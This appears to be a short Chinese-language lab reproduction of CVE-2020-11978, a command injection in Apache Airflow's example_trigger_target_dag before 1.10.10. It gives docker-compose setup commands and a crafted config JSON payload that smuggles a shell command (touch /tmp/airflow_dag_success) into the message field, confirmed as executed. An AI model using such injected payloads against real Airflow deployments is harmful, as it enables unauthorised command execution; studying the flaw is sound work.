Apache Airflow 示例 dag 中的 Apache Airflow 命令注入 (CVE-2020-11978)

Apache Airflow 是一个开源的分布式任务调度框架--1.10.10 之前的版本中，示例 DAG

复现：docker启动环境

#Initialize the database
docker-compose run airflow-init

#Start service
docker-compose up -d

访问： http://192.168.92.130:8080/admin/

打开 example_trigger_target_dag 标志

单击右侧的“triger”按钮

然后输入带有构建的有效负载 {"message":"'\";touch /tmp/airflow_dag_success;#"} 的配置 JSON

等待几秒钟，查看“success”的执行情况： 

去容器看结果， touch /tmp/airflow_dag_success 已经执行成功了：